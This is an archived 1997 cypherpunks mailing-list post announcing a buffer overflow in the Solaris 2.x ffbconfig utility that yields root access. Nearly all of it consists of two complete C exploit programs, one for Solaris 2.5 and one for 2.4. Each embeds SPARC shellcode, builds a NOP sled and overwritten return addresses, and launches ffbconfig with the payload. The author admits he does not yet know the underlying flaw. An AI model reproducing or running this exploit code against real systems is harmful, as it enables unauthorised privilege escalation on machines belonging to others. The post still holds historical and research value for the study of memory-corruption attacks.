1997-02-10 - Security hole in Sloaris 2.X ffbconfig + exploit

Header Data

From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
To: cypherpunks@toad.com
Message Hash: fbe770bf25f7840cb775bbb8242ba5bb76f1eab174abf7f2236d91ed71e30696
Message ID: <Pine.GSO.3.95.970210192433.1304G-100000@sundy.cs.pub.ro>
Reply To: N/A
UTC Datetime: 1997-02-10 17:30:06 UTC
Raw Date: Mon, 10 Feb 1997 09:30:06 -0800 (PST)

Raw message

From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Mon, 10 Feb 1997 09:30:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security hole in Sloaris 2.X ffbconfig + exploit
Message-ID: <Pine.GSO.3.95.970210192433.1304G-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain



Mon Feb 10 15:58 EET 1997 Romania  

"Buffer Overflow" rules.

I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow  you
to gain root access on your machine. I used an exploit written by Jeremy Elson
for gethostbyname() buffer overflow hole (I modified some values to make this 
work).   

I dont now yet what in ffbconfig is wrong but Im still diging. So more 
detailes later.

Here's the exploit for Solaris 2.X:


---------------------------------- first  ------------------------------------- 
/*
This works on Solaris 2.5 wiz /usr/sbin/ffbconfig
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------ end of "ffbcexp25.c"  --------------------------------

-------------------------------- second --------------------------------------

/*
This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;


u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;
  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------------ end of ffbcexp24.c -----------------------------

Cristian Schipor - Computer Science Faculty  - Romania -  Bucharest 
Email: skipo@math.pub.ro or skipo@ns.ima.ro
Phone: (401) 410.60.88


PS: "special for STFP"






Thread